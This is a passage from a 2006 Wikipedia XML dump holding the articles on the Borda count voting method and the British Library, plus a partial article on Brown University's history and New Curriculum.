    <revision>
      <id>41802174</id>
      <timestamp>2006-03-01T21:17:35Z</timestamp>
      <contributor>
        <username>MarkusSchulze</username>
        <id>76045</id>
      </contributor>
      <comment>AfD is still running</comment>
      <text xml:space="preserve">The '''Borda count''' is a [[voting system]] used for [[election]]s.  Each voter is given a [[preferential voting|preferential ballot]] where they rank order the candidates.  The Borda count can be used as a system for finding a rank-order for every candidate, allowing it to be used as both a simple single-winner election method by selecting the highest ranked candidate and as a multiple-winner method by selecting a larger number of top-ranked candidates.

The Borda count was devised by [[Jean-Charles de Borda]] in June of [[1770]]. It was first published in [[1781]] as ''Mémoire sur les élections au scrutin'' in the Histoire de l'Académie Royale des Sciences, Paris. This method was devised by Borda to fairly elect members to the [[French Academy of Sciences]] and was used by the Academy beginning in [[1784]] until being quashed by [[Napoleon]] in [[1800]].

The Borda count is classified as a [[positional voting system]] because each rank on the ballot is worth a certain number of points. Other positional methods include [[first-past-the-post]] (plurality) voting, and minor methods such as &quot;vote for any two&quot; or &quot;vote for any three&quot;.

==Procedures==

Each voter rank-orders all the candidates on their ballot. If there are &lt;var&gt;n&lt;/var&gt; candidates in the election, then the first-place candidate on a ballot receives &lt;var&gt;n&lt;/var&gt;&amp;minus;1 points as a multiplier, the second-place candidate receives &lt;var&gt;n&lt;/var&gt;&amp;minus;2, and in general the candidate in &lt;var&gt;i&lt;/var&gt;th place receives &lt;var&gt;n&lt;/var&gt;&amp;minus;&lt;var&gt;i&lt;/var&gt; points. The candidate ranked last on the ballot therefore receives zero points as a multiplier.

The points are multiplied by the number of votes and added up across all the ballots, and the candidate with the most points is the winner.

==An example of an election==

{{Tenn_voting_example}}

&lt;div class=&quot;floatright&quot;&gt;
{| class=&quot;wikitable&quot;
!City||First||Second||Third||Fourth||Points
|-
!Memphis
|42||0||0||58||126
|-
!Nashville
|26||42||32||0||194
|-
!Chattanooga
|15||43||42||0||173
|-
!Knoxville
|17||15||26||42||107
|}
&lt;/div&gt;

Nashville is the winner in this election, as it has the most points, 194, computed as (26*3)+(42*2)+(32*1)+(0*0).  Nashville also happens to be the [[Condorcet winner]] in this case. While the Borda count does not always select the Condorcet winner as the Borda Count winner, it always ranks the Condorcet winner above the Condorcet loser.  No other positional method can guarantee such a relationship.

==Potential for tactical voting==

Like most voting methods, The Borda count is vulnerable to [[tactical voting|compromising]]. That is, voters can help avoid the election of a less-preferred candidate by insincerely raising the position of a more-preferred candidate on their ballot.

The Borda count is also vulnerable to [[tactical voting|burying]]. That is, voters can help a more-preferred candidate by insincerely lowering the position of a less-preferred candidate on their ballot.

If many voters employ such strategies, then the result will no longer reflect the sincere preferences of the electorate.

In response to the issue of strategic manipulation in the Borda count, M. de Borda said &quot;My scheme is only intended for honest men.&quot;

Using the above example, if polls suggest a toss-up between Nashville and Chattanooga, citizens of Knoxville might change their ranking to 
# Chattanooga (compromising their sincere first choice Knoxville) 
# Knoxville 
# Memphis (burying their sincere third choice Nashville)
# Nashville

However, the effect is not very strong. In order for Chattanooga to win, 62% of all Knoxville voters would have to employ this tactical voting.

==Effect on factions and candidates==

The Borda count is vulnerable to [[Strategic nomination|teaming]]: when more candidates run with similar ideologies, the probability of one of those candidates winning increases. Therefore, under the Borda count, it is to a faction's advantage to run as many candidates in that faction as they can, creating the opposite of the [[spoiler effect]].  The teaming or &quot;clone&quot; effect is significant where restrictions are placed on the candidate set.

On the other hand, in 1980, [[William Gehrlein]] and [[Peter Fishburn]] investigated the likelihood of a positional method to choose the same candidate when one modified the set of candidates by eliminating one losing candidate from a three-candidate election and two losing candidates from a four candidate election. They found that the Borda count was the positional rule which maximizes the probability of electing the same candidate after this modification of the choice set.

==Criteria passed and failed==

Voting systems are often compared using mathematically-defined criteria. See [[voting system criterion]] for a list of such criteria. 

The Borda count satisfies the [[monotonicity criterion]], the [[summability criterion]], the [[consistency criterion]], the [[participation criterion]],  the [[Plurality criterion]] (trivially), [[Reversal symmetry]], and the [[Condorcet loser criterion]]. 

It does not satisfy the [[Condorcet criterion]], the [[Independence of irrelevant alternatives]] criterion, or the [[Strategic nomination|Independence of Clones criterion]]. 

The Borda count also does not satisfy the [[majority criterion]], i.e. if a majority of voters rank one candidate in first place, that candidate is not guaranteed to win. This could be considered a disadvantage for Borda count in political elections, but it also could be considered an advantage if the favorite of a slight majority is strongly disliked by most voters outside the majority, in which case the Borda winner could have a higher overall utility than the majority winner.

[[Donald G. Saari]] created a mathematical framework for evaluating positional methods in which he showed that Borda count has fewer opportunities for strategic voting than other positional methods, such as [[plurality voting]] or [[anti-plurality voting]], e.g.; &quot;vote for two&quot;, &quot;vote for three&quot;, etc.

==Variants==

* The Borda count method can be extended to include tie-breaking methods. 

* Ballots that do not rank all the candidates can be allowed in three ways.
** One way to allow leaving candidates unranked is to leave the scores of each ranking unchanged and give unranked candidates 0 points. For example, if there are 10 candidates, and a voter votes for candidate A first and candidate B second, leaving everyone else unranked, candidate A receives 9 points, candidate B receives 8 points, and all other candidates receive 0. This, however, allows strategic voting in the form of [[bullet voting]]: voting only for one candidate and leaving every other candidate unranked. This variant makes a bullet vote more effective than a fully-ranked vote. This variant would satisfy the [[Plurality criterion]].
** Another way, called the ''modified Borda count'', is to assign the points up to ''k'', where k is the number of candidates ranked on a ballot. For example, in the modified Borda count, a ballot that ranks candidate A first and candidate B second, leaving everyone else unranked, would give 2 points to A and 1 point to B. This variant would ''not'' satisfy the [[Plurality criterion]].
** The third way is to employ a uniformly truncated ballot obliging the voter to rank a certain number of candidates, while not ranking the remainder, who all receive 0 points. This variant would satisfy the same criteria as the Borda count.

* A proportional election requires a different variant of the Borda count called the [[quota Borda system]].

* A voting system based on the Borda count that allows for change only when it is compelling, is called the [[Borda fixed point]] system.

* A procedure for finding the [[Condorcet winner]] of a Borda count tally is called [[Nanson's method]] or [[Instant Borda runoff]].

==Current uses==

The Borda count is popular in determining awards for sports in the [[United States]].  It is used in determining the [[MLB Most Valuable Player Award|Most Valuable Player]] in [[Major League Baseball]], by the [[Associated Press]] and [[United Press International]] to rank players in [[NCAA]] sports, and other contests. The [[Eurovision Song Contest]] also uses a positional voting method similar to the Borda count, with a different distribution of points. It is used for [[wine]] trophy judging by the [[Australian Society of Viticulture and Oenology]]. Borda count is used by the [[RoboCup]] [[autonomous]] [[robot]] [[soccer]] [[:Category:Robotics competitions|competition]] at the Center for Computing Technologies, [[University of Bremen]] in [[Germany]].  The [[People's Remix Competition]] uses a Borda variant where the voter ranks only the top three contestants.

The Borda count has historical precedent in political usage as it was one of the voting methods employed in the [[Roman Senate]] beginning around the year [[105]]. The Borda count is presently used for the election of ethnic minority members of parliament in [[Slovenia]].   In modified versions it is also used to elect members of parliament for the central Pacific island of [[Nauru]] (using a different positional point system) and for the selection of Presidential election candidates from among members of parliament in neighbouring [[Kiribati]]. The Borda count and variations have been used in [[Northern Ireland]] for non-electoral purposes, such as to achieve a consensus between participants including members of [[Sinn Féin]], the [[Ulster Unionists]], and the political wing of the [[UDA]].

Borda is used in a number of educational institutions in the [[United States]], such as at the [[University of Michigan]] College of Literature, Science and the Arts to elect the Student Government, to elect the Michigan Student Assembly for the university at large, at the [[University of Missouri]] Graduate-Professional Council to elect its officers, at the [[University of California Los Angeles]] Graduate Student Association to elect its officers, the Civil Liberties Union of [[Harvard University]] to elect its officers, at [[Southern Illinois University]] at [[Carbondale, Illinois|Carbondale]] to elect officers to the Faculty Senate, and at [[Arizona State University]] to elect officers to the Department of Mathematics and Statistics assembly. It is used to elect faculty members to committees at [[Wheaton College, Massachusetts]].  Borda count is used to break ties for member elections of the faculty personnel committee of the School of Business Administration at the [[College of William and Mary]].

In professional societies, the Borda count is used to elect the Board of Governors of the [[International Society for Cryobiology]], the management committee of [[Tempo sustainable design network]], located in [[Cornwall]], [[United Kingdom]], and to elect members to Research Area Committees of the [[U.S. Wheat and Barley Scab Initiative]].

Borda count is one of the feature selection methods used by the [[OpenGL]] Architecture Review Board.

Borda count is one of the voting methods used and advocated by the [[Florida]] affiliate of the [[American Patriot Party]].

==See also==
* [[List of democracy and elections-related topics]]
* [[Voting system]] &amp;ndash; lists many other ways of voting
* [[Voting system criterion]]
* [[First Past the Post electoral system]]
* [[Instant-runoff voting]]
* [[Approval voting]]
* [[Plurality voting]]
* [[Condorcet method]]
* [[Schulze method]]

==Further reading==
* ''Chaotic Elections!'', by Donald G. Saari (ISBN 0821828479), is a book that describes various voting systems using a mathematical model, and supports the use of the Borda count.

==External links==
*[http://www.deborda.org The de Borda Institute, Northern Ireland]   
*[http://www.colorado.edu/education/DMP/voting_b.html The Symmetry and Complexity of Elections] Article by mathematician [[Donald G. Saari]] shows that the Borda Count has relatively few paradoxes compared to certain other voting methods.   
*[http://mason.gmu.edu/~atabarro/Would%20the%20Borda%20Count.pdf Article by Alexander Tabarrok and Lee Spector] Would using the Borda Count in the U.S. 1860 presidential election have averted the american Civil War? ([[Portable Document Format|PDF]])  
*[http://apseg.anu.edu.au/staff/pub_highlights/ReillyB_05.pdf Article by Benjamin Reilly] Social Choice in the South Seas: Electoral Innovation and the Borda Count in the Pacific Island Countries. ([[Portable Document Format|PDF]])
*[http://www.colorado.edu/education/DMP/voting_c.html  A Fourth Grade Experience] Article by [[Donald G. Saari]] observing the choice intuition of young children.
*[http://hypatia.ss.uci.edu/imbs/tr/Final1.pdf Consequences of Reversing Preferences] An article by Donald G. Saari and Steven Barney. ([[Portable Document Format|PDF]])
*[http://www2.hmc.edu/~dym/PairwiseComparisons.pdf Rank Ordering Engineering Designs: Pairwise Comparison Charts and Borda Counts] Article by Clive L. Dym, William H. Wood and Michael J. Scott. ([[Portable Document Format|PDF]])
*[http://mason.gmu.edu/~atabarro/arrowstheorem.pdf Arrow's Impossibility Theorem] This is an article by Alexander Tabarrok on analysis of the Borda Count under Arrow's Theorem. ([[Portable Document Format|PDF]])
*[http://www.kfunigraz.ac.at/fwiwww/home-eng/activities/pdfs/2003-5.pdf Article by Daniel Eckert, Christian Klamler, and Johann Mitlöhner] On the superiority of the Borda rule in a distance-based perspective on Condorcet efficiency. ([[Portable Document Format|PDF]])
*[http://www.math.auckland.ac.nz/~slinko/Research/Borda3.pdf On Asymptotic Strategy-Proofness of Classical Social Choice Rules] An article by Arkadii Slinko. ([[Portable Document Format|PDF]])
*[http://www.bgse.uni-bonn.de/fileadmin/Fachbereich_Wirtschaft/Einrichtungen/BGSE/Discussion_Papers/2003/bgse13_2003.pdf  Non-Manipulable Domains for the Borda Count] Article by  Martin Barbie, Clemens Puppe, and Attila Tasnadi. ([[Portable Document Format|PDF]])
*[http://www.math.union.edu/~dpvc/papers/2001-01.DC-BG-BZ/DC-BG-BZ.pdf Which scoring rule maximizes Condorcet Efficiency?] Article by Davide P. Cervone, William V. Gehrlein, and William S. Zwicker. ([[Portable Document Format|PDF]])
*[http://pareto.uab.es/wp/2004/61704.pdf Scoring Rules on Dichotomous Preferences] Article mathematically comparing the Borda count to Approval voting under specific conditions by Marc Vorsatz. ([[Portable Document Format|PDF]])
*[http://www.eco.fundp.ac.be/cahiers/filepdf/c224.pdf Condorcet Efficiency: A Preference for Indifference] Article by William V. Gehrlein and Fabrice Valognes. ([[Portable Document Format|PDF]])
*[http://www.hss.caltech.edu/Events/SCW/Papers/seraj.pdf Cloning manipulation of the Borda rule] An article by Jérôme Serais. ([[Portable Document Format|PDF]])
*[http://ksgnotes1.harvard.edu/research/wpaper.nsf/rwp/RWP03-023/$File/rwp03_023_risse.pdf Democracy and Social Choice: A Response to Saari] Article by Mathias Risse.([[Portable Document Format|PDF]])
*[http://allserv.rug.ac.be/~tmarchan/Crystals.pdf Cooperative phenomena in crystals and social choice theory] Article by Thierry Marchant. ([[Portable Document Format|PDF]])
*[http://www.nuff.ox.ac.uk/Users/McLean/A%20program%20to%20implement%20the%20Condorcet%20and%20Borda%20rules%20in%20a%20small.pdf A program to implement the Condorcet and Borda rules in a small-n election] Article by Iain McLean and Neil Shephard.([[Portable Document Format|PDF]])
*[http://www.nuff.ox.ac.uk/Politics/papers/2003/McLean%20The%20Reasonableness.pdf The Reasonableness of Independence] Article by Iain McLean.([[Portable Document Format|PDF]])
*[http://proceedings.eldoc.ub.rug.nl/FILES/HOME/IAPR_IWFHR_2000/3D/43/paper-072-vanerp.pdf Variants of the Borda Count Method for Combining Ranked Classifier Hypotheses] Article by Merijn Van Erp and Lambert Schomaker ([[Portable Document Format|PDF]])
*[http://www.pubchoicesoc.org/papers2005/ratliff.pdf Selecting Committees] Article by Thomas C. Ratliff.
*[http://ola4.aacc.edu/kehays/umbc/MVP/Modified_BC.html Flash animation by Kathy Hays] An example of how the Borda count is used to determine the Most Valuable Player in Major League Baseball.

[[Category:Voting systems]]

[[de:Borda-Wahl]]
[[fr:Méthode Borda]]</text>
    </revision>
  </page>
  <page>
    <title>British Library</title>
    <id>4156</id>
    <revision>
      <id>41769612</id>
      <timestamp>2006-03-01T16:50:04Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:BritishLibraryOssulston.JPG|thumb|200px|British Library Ossulston St entrance, with distinctive red logo.]]
The '''British Library''' is the [[national library]] of the [[United Kingdom]] and is one of the world's most significant [[List of Research libraries|research libraries]], holding over 150 million items and adding some 3 million every year. The library includes copies of the majority of the books found in the [[Library of Congress]] (but not the other media and manuscripts), along with a substantial additional collection of international items and historical items dating back as far as [[300 BC]]. As of March [[as of 2004|2004]] the library holds 11.2 million [[monograph]]s and receives more than 41,500 regular [[serial]]s. The library receives copies of all books produced in the UK, including all books from abroad which are reprinted in the UK, and many items which are only printed abroad.

== Historical background ==
[[Image:British Library Gate.jpg|left|thumb|200px|The main entrance gate was designed by [[Lida Cardozo|Lida]] and [[David Kindersley]].]]
As an institution the British Library is surprisingly young compared to equivalent institutions in other countries, having been created in [[1973]] by the ''British Library Act 1972''. Prior to this, the national library was part of the [[British Museum]], which provided the bulk of the holdings of the new library, alongside various smaller organisations which were folded in (such as the [[British National Bibliography]]). In [[1983]], the library absorbed the [[National Sound Archive]].

[[Image:British_Library_Gate_Shadow.jpg|thumb|200px|The entrance gate and its own shadow.]]
For many years its collections were dispersed in various buildings around [[central London]], in places such as [[Bloomsbury, London|Bloomsbury]] (right next to the British Museum), [[Chancery Lane]], and [[Holborn]], with the lending library at [[Boston Spa]] and the newspaper library at [[Colindale]]. Since [[1997]], however, the main collection has been housed in a single new building in [[Euston Road]] next to [[St. Pancras railway station]]. The new library was designed specially for the purpose by the architect [[Colin St. John Wilson]]. It is the largest public building constructed in the United Kingdom in the [[20th century]]. However, newspapers are still held at [[Colindale]] and there is also a collection at a site at [[Boston Spa]] in [[Yorkshire]]. 

At the heart of the building is a three story glass tower containing ''The King's Library'', with 65,000 printed volumes along with other pamphlets, manuscripts and maps collected by [[George III of the United Kingdom|King George III]] between [[1763]] and [[1820]].

==Access to the collections==
[[Image:BritishLibraryInterior02.jpg|thumb|right|300px|Interior of the British Library, with the smoked glass wall of the King's Library in the background.]] 

A number of important works are on display to the general public in a gallery called &quot;Treasures of the British Library&quot; which is open to the public seven days a week at no charge. There is an additional exhibition concerned with practical matters connected with the library's collection, such as printing and early [[sound recording]]. The Library also stages temporary exhibitions on a wide range of subjects which can be illuminated by the items in its collection - which is almost anything, not just literature. 

Other items can be accessed in the Reading Rooms. In the past the Library emphasised its role as a &quot;library of last resort&quot; for people who needed access to deep and specialised collections which they could not find anywhere else. Nowadays it adopts a more welcoming approach and emphasises on its website that anyone who wishes to carry out research should be granted a reader's pass, providing they furnish the necessary identification for security purposes. The Library has come under criticism for admitting undergraduate students to the Reading Rooms, but the Library says that they have always admitted undergraduates as long as they have a legitimate personal, work-related or academic research purpose.

According to the website, more than half a million people use the Library's reading rooms every year. The huge reading rooms cover hundreds of seats which are filled with researchers every day. According to the [[May 2005]] Readers' Bulletin, usage of the Reading Rooms had gone up significantly in the last month or so - [[2005]] room usage has been the highest it has been for quite a few years. This is putting pressure on services including causing difficulty for readers using the cloakroom and locker facilities.

== Legal deposit ==
An [[Act of Parliament]] in [[1911]] established the principle of the [[Legal Deposit]], ensuring that the British Library, along with five other libraries in Britain and [[Ireland]], is entitled to receive a free copy of every item published in Britain and The Republic of Ireland. The other five libraries are: the [[Bodleian Library]] at [[Oxford]]; the [[Cambridge University Library|University Library]] at [[Cambridge]]; [[Trinity College, Dublin|Trinity College]] Library in [[Dublin]]; and the National Libraries of [[National Library of Scotland|Scotland]] and [[National Library of Wales|Wales]]. The British Library is the only one that is entitled to receive a copy of everything within one month of publication; the other five have to wait for up to one year. 

In [[2003]], a [[Private Member's Bill]], the [[Legal Deposit Libraries Act 2003]], was passed which extended the Legal Deposit requirements to electronic documents such as [[CD-ROM]]s and selected [[websites]]. 

See [http://www.bl.uk/about/policies/legaldeposit.html here], from the British Library's website, for more information about legal deposit.

Like the [[Library of Congress]], these libraries have retained copies of every publication in the English language over the last 100 years which is deemed significant.

== Newspapers ==
The British Library Newspapers section is based in Colindale in north London. The Library has a more or less complete collection of British and Irish newspapers since [[1840]], owing in part to legal deposit legislation of [[1869]] mandating that the library receive a copy of each edition of a [[newspaper]]. [[London]] editions of national daily and Sunday newspapers are complete back to [[1801]]. In total the collection consists of 660,000 bound volumes and 370,000 reels of [[microfilm]] containing tens of millions of newspapers with 52,000 titles on 45km of shelves.

A collection of particular interest is the [[Thomason Tracts]], containing 7,200 [[seventeenth century]] newspapers, and the [[Burney Collection]] featuring newspapers from the late [[eighteenth century|eighteenth]] and early [[nineteenth century|nineteenth]] centuries.  The Thomason Tracts and Burney collections are held at St Pancras, and are available in facsimile. 

The section also has extensive records of non-[[United Kingdom|British]] newspapers in languages that use the [[Latin alphabet|Latin]] and [[Cyrillic alphabet|Cyrillic]] alphabets. The collection is less substantial for languages of the [[Middle East]] and the rest of [[Asia]], though some holdings of these are held at the main library in [[St. Pancras]].

== Miscellaneous information ==
[[Image:British Library - Kings Cross - London - England - 020504.jpg|thumb|300px|British Library main building, London]]
The library also holds the [[Oriental and India Office Collections]] (OIOC), Now called APAC (Asia, Pacific &amp; Africa Collections) which contain the collections of the [[India Office Library and Records]], and materials in the languages of [[Asia]] and of north and north-east [[Africa]].

The British Library participates in a project called '[[Bibliotheca Universalis]]' which aims at publishing major works on the [[World Wide Web|web]]. In the British Library's [[Digital library]] project collections can be toured online and the virtual pages of [[Leonardo da Vinci]]'s notebooks and other great works can be turned electronically. The British Library's [[secure electronic delivery service]], started in 2003 at a cost of 6 million pounds, brings access to more than one hundred million items (including 280,000 journal titles, 50 million patents, 5 million reports, 476,000 U.S. dissertations and 433,000 conference proceedings) for researchers and library patrons worldwide which were previously unavailable outside the Library due to [[copyright]] restrictions.

The use of the Library's web catalogue also continues to increase. In [[2003]] more than 9.7 million searches were conducted.

== Highlights of the collections ==
* The [[Marc Aurel Stein|Stein collection]] from Central Asia. 
* The [[Diamond Sutra]], claimed to be the world's oldest dated printed book
* The [[Lindisfarne Gospels]]
* Two [[Gutenberg Bible]]s
* Two [[1215]] copies of [[Magna Carta]]
* ''Papyrus Egerton 2'', the [[Egerton Gospel]]
* The only surviving copy of the poem ''[[Beowulf]]''
* 347 leaves of the [[Codex Sinaiticus]]

== Philatelic collections ==
The British Library [[philately|Philatelic]] Collections are the National Philatelic Collections of the [[United Kingdom]]. The Collections were established in [[1891]] with the donation of the [[Tapling Collection]], they steadily developed and now comprise over twenty five major collections and a number of smaller ones, encompassing a wide-range of disciplines. The collections include [[postage stamp|postage]] and [[revenue stamp]]s, [[postal stationery]], [[essay]]s, [[proof]]s, [[Cover (philately)|cover]]s and entries, '[[cinderella stamp]]' material, specimen issues, [[airmail]]s, some [[postal history]] materials, official and private [[Postal system|posts]], etc., for almost all countries and periods.

An extensive display of material from the collections is on exhibit and is probably the best permanent display of diverse classic stamps and philatelic material in the world. Approximately 80,000 items on 6,000 sheets may be viewed in 1,000 display frames; 2,400 sheets are from the Tapling Collection. All other material, which covers the whole world, is available to students and researchers by appointment.

As well as these extensive collections, the subject literature is very actively acquired, and makes the British Library one of the world's prime philatelic [[research]] centres.

&lt;!-- Image with unknown copyright status removed: [[Image:P8120016.JPG|right|thumb|250px|The Statue of Newton by [[Eduardo Paolozzi]] (after [[William Blake]]) at the British Library]] --&gt;

== References ==
* {{cite web | title = Philatelic collections | url = http://www.bl.uk/collections/stamps.html | accessdate = April 4 | accessyear = 2005}}
* {{cite book | author = Sussex, John (editor) | title=Stamp World London 90, souvenir handbook | publisher = Stamp World Exhibitions | year = 1990 | id = ISBN 0-9515891-0-5 }}

== See also ==
* [[British Museum Reading Room]]
* [[National Library of Scotland]]
* [[National Library of Wales]]
* [[National Archives (UK)|National Archives]]
* [[National Sound Archive]]
* [[List of digital library projects]]
* [[British literature]]

== External links ==
* [http://www.bl.uk The British Library homepage]
* [http://catalogue.bl.uk The British Library Catalogue]
* [http://www.bl.uk/collections/early/georgeiii.html The King's Library] contained within The British Library
* [http://www.bl.uk/gabriel/bibliotheca-universalis/index.html The 'Bibliotheca Universalis' homepage]
* [http://www.bl.uk/collections/treasures/diamond.html The World's Earliest Dated Printed Book]
* [http://www.bl.uk/collections/treasures/digitisation.html Turning the Pages], digitizations of a few important books, with explanations (Macromedia Shockwave format)
* [http://www.bl.uk/about/blact.html The British Library Act, 1972]

[[Category:Archives in the United Kingdom]]
[[Category:Cultural and educational buildings in London]]
[[Category:Libraries in the United Kingdom]]
[[Category:National libraries]]
[[Category:Camden]]
[[Category:British organisations]]
[[Category:Museums in London]]
[[Category:Public bodies and task forces of the United Kingdom government]]

[[de:British Library]]
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[[zh:大英图书馆]]</text>
    </revision>
  </page>
  <page>
    <title>Brown University</title>
    <id>4157</id>
    <revision>
      <id>41865415</id>
      <timestamp>2006-03-02T05:53:34Z</timestamp>
      <contributor>
        <username>MementoVivere</username>
        <id>72040</id>
      </contributor>
      <comment>/* External links */ Can't start including every student organization. Left in the ones that are relevant to the student body as a whole</comment>
      <text xml:space="preserve">{{Infobox_University 
|name        = Brown University
|latin_name  = Universitas Brunensis
|image       = [[Image:Brown Coat of Arms.png|125px|Brown University Coat of Arms]]
|motto       = ''In deo speramus''&lt;br /&gt;([[Latin language|Latin]] for &quot;In God we hope&quot;)
|established = 1764
|type        = [[Private school|Private]]
|endowment   = $2.01 billion
|president   = [[Ruth J. Simmons]]
|staff       = 
|faculty     = 628 full-time
|students    = 7,595
|undergrad   = 5,701
|postgrad    = 1,894 (326 medical)
|city        = [[Providence, Rhode Island|Providence]]
|state       = [[Rhode Island]]
|country     = [[United States|USA]]
|campus      = Urban&lt;br /&gt;143 [[acre]]s (58 [[hectare]]s)
|free_label  = Athletics
|free        = [[Bear]]s [[Image:Brown bears logo.jpg|40px|]]&lt;br /&gt;37 varsity teams
|colors      = [[Seal brown]], [[cardinal (color)|cardinal red]], and [[white]]
|mascot      = &quot;Bruno&quot; the Bear
|website     = [http://www.brown.edu/ brown.edu]
}}
'''Brown University''' is an [[Ivy League]] university located in [[Providence, Rhode Island|Providence]], [[Rhode Island]].  Founded in 1764 as Rhode Island College, it is the third-oldest institution of [[higher education]] in [[New England]] and the [[Colonial colleges|seventh-oldest]] in the [[United States]]. Brown was the first college in the nation to accept students of all religious affiliations.

The Brown &quot;New Curriculum,&quot; instituted in 1969, eliminates distribution requirements and mandatory A/B/C [[grade (education)|grading]] (allowing any course to be taken on a &quot;satisfactory/no credit&quot; basis). 

Brown has the oldest undergraduate engineering program in the Ivy League (1847) and the only undergraduate [[History of Mathematics]] department in the world. Brown was also one of the first institutions to emphasize [[computer science]] as well as [[media studies]], with its department in Modern Culture and Media, where students study [[Film production|film]], [[film criticism]], and [[critical theory]].

Since 2001, Brown's current and 18th [[president]] is [[Ruth J. Simmons]], the first [[African American]] president, and second female president, of an Ivy League institution, as well as the first permanent female president of Brown.

The school colors are [[seal brown]], [[cardinal (color)|cardinal red]], and [[white]]. Brown's mascot is the [[bear]] and the sports teams are called the Bears. The costumed bear mascot named &quot;Bruno&quot; makes appearances at athletic games. The use of a bear as the University's [[mascot]] dates back to 1904. People associated with the University are known as [[List of Brown University people|Brunonians]].

In the fall of 2004, [[billionaire]] [[Sidney Frank]], who could only afford to attend Brown for one year in his youth, donated an additional $100 million exclusively for financial aid&amp;mdash;the largest gift in the university's history. Earlier that year, Frank had given $25 million for the construction of Sidney Frank Hall, the future home of Brown's fast-growing Department of Neuroscience, Department of Cognitive Science, and Department of Linguistic Sciences. In September 2005, Frank made yet another donation of $5 million to aid Brown in providing free tuition for New Orleans students whose colleges had been rendered unusable by [[Hurricane Katrina]] just weeks earlier. His donations are one part of Brown's new capital campaign, dubbed &quot;Boldly Brown&quot;, to raise $1.4 billion over the next three years, $600 million of which will go towards expanding the school's endowment. Brown parents also serve as large donors, and in 2004 gave more than any other group of non-alumni parents in the Ivy League and the second-most in the country (behind Duke).

== History ==
[[Image:Manning Chapel.jpg|frame|right|Hope College (left) was built in 1822, while Manning Hall (right) was built in 1834.]]
=== The founding of Brown ===
In 1763, [[James Manning]], a Baptist minister, was sent to [[Rhode Island]] by the Philadelphia Association of [[Baptist|Baptist Churches]] in order to found a college. At the same time, local [[Congregationalist|Congregationalists]], led by [[James Stiles]], were working toward a similar end. On [[March 3]], [[1764]], a charter was filed to create Rhode Island College in [[Warren, Rhode Island]], reflecting the work of both Stiles and Manning. 

The charter had more than 60 signatories, including [[John Brown (Rhode Island)|John]] and [[Nicholas Brown (Brown University)|Nicholas Brown]] of the Brown family, who would give the College its present day name. The college's mission, the charter stated, was to prepare students &quot;for discharging the Offices of Life&quot; by providing instruction &quot;in the Vernacular Learned Languages, and in the liberal Arts and Sciences.&quot; {{ref|WalterCBrunson}} The charter's language has long been interpreted by the university as discouraging the founding of a [[business school]] or [[law school]]. Brown continues to be one of only two [[Ivy League business schools|Ivy League universities with neither a business school]] nor a law school (the other being Princeton).

The charter required that the makeup of the board of thirty-six trustees include twenty-two Baptists, five Friends, four Congregationalists, and five Episcopalians, and by twelve Fellows, of whom eight, including the President, should be Baptists &quot;and the rest indifferently of any or all denominations.&quot; It specified that &quot;into this liberal and catholic institution shall never be admitted any religious tests, but on the contrary, all the members hereof shall forever enjoy full, free, absolute, and uninterrupted liberty of conscience.&quot; The 1911 Encyclopedia Britannica remarks that &quot;At the time it was framed the charter was considered extraordinarily liberal&quot; and that &quot;the government has always been largely non-sectarian in spirit.&quot;{{ref|eb1911}}

James Manning, the minister sent to Rhode Island by the Baptists, was sworn in as the College's first president in 1765. Rhode Island College moved to its present location on College Hill, in the East Side of Providence, in 1770 and construction of the first building, The College Edifice, began. This building was renamed University Hall in 1823. The Brown family -- Nicholas, John, Joseph and [[Moses Brown|Moses]] -- were instrumental in the move to Providence, funding and organizing much of the construction of the new buildings. The family's connection with the college was strong: [[Joseph Brown (professor)|Joseph Brown]] became a professor of Physics at the University and [[John Brown (Rhode Island)|John Brown]] served as treasurer from 1775 to 1796. In 1804, a year after John Brown's death, the University was renamed Brown University in honor of John's nephew, [[Nicholas Brown, Jr.]], who was a member of the class of 1786 and contributed $5,000 (which, adjusted for [[inflation]], is approximately $61,000 in 2005, though it was 1,000 times the roughly $5 tuition) toward an endowed professorship. In 1904, the [[John Carter Brown Library]] was opened as an independent historical and cultural research center based around the libraries of [[John Carter Brown|John Carter]] and [[John Nicholas Brown]].

The Brown family was involved in various business ventures in Rhode Island, including [[slavery]]; the family itself was divided on the issue. John Brown had relentlessly defended slavery, while [[Moses Brown]] and Nicholas Brown Jr. were fervent [[abolitionism|abolitionists]]. In recognition of this history, the University established the University Steering Committee on Slavery and Justice in 2003 ([http://www.brown.edu/Research/Slavery_Justice/index.html]).

Brown began to admit women when it established a Women's College in 1891, which was later named [[Pembroke College]]. &quot;The College&quot; (the undergraduate school) merged with Pembroke College in 1971 and became [[coeducation|coeducational]].

=== The New Curriculum ===
Brown adopted the New Curriculum in 1969, marking a major change in the University's institutional history.  The [[curriculum]] was the result of a paper written by [[Ira Magaziner]] and [[Elliot Maxwell]], &quot;Draft of a Working Paper for Education at Brown University.&quot;  The paper came out of a year-long Group Independent Studies Project (GISP) involving 80 students and 15 professors.  The group was inspired by student-initiated experimental schools, especially [[San Francisco State University|San Francisco State College]], and sought ways to improve education for students at Brown.  The philosophy they formed was based on the principle that &quot;the individual who is being educated is the center of the educational process.&quot; In 1850, Brown President Francis Wayland wrote: &quot;The various courses should be so arranged that, insofar as practicable, every student might study what he chose, all that he chose, and nothing but what he chose.&quot;

The paper made a number of suggestions for improving education at Brown, including a new kind of [[interdisciplinary]] freshman course that would introduce  new modes of inquiry and bring faculty from different fields together. Their goal was to transform the survey course, which traditionally sought to cover a large amount of basic material, into specialized courses that would introduce the important modes of inquiry used in different disciplines.

The New Curriculum that came out of the working paper was significantly different from the paper itself.  Its key features were:

* Modes of Thought courses aimed at first-year students 
* Interdisciplinary University courses
* Students could elect to take any course Satisfactory/No Credit
* Distribution requirements were dropped
* The University simplified grades to ABC/No Credit, eliminating pluses, minuses and D's.  Furthermore, &quot;No Credit&quot; would not appear on external transcripts.

Except for the Modes of Thought courses, a key component of the reforms which have been discontinued, these elements of the New Curriculum are still in place.

Additionally, due to the school's proximity and close partnership with the [[Rhode Island School of Design]] ([[RISD]]), Brown students have the ability to take up to four courses at RISD and have the credit count towards a Brown degree.  Likewise, RISD students can also take courses at Brown.  Since the two campuses are effectively adjacent to each other, the two institutions often partner to provide both student bodies with services (such as the local Brown/RISD after-hours and downtown transportation shuttles).

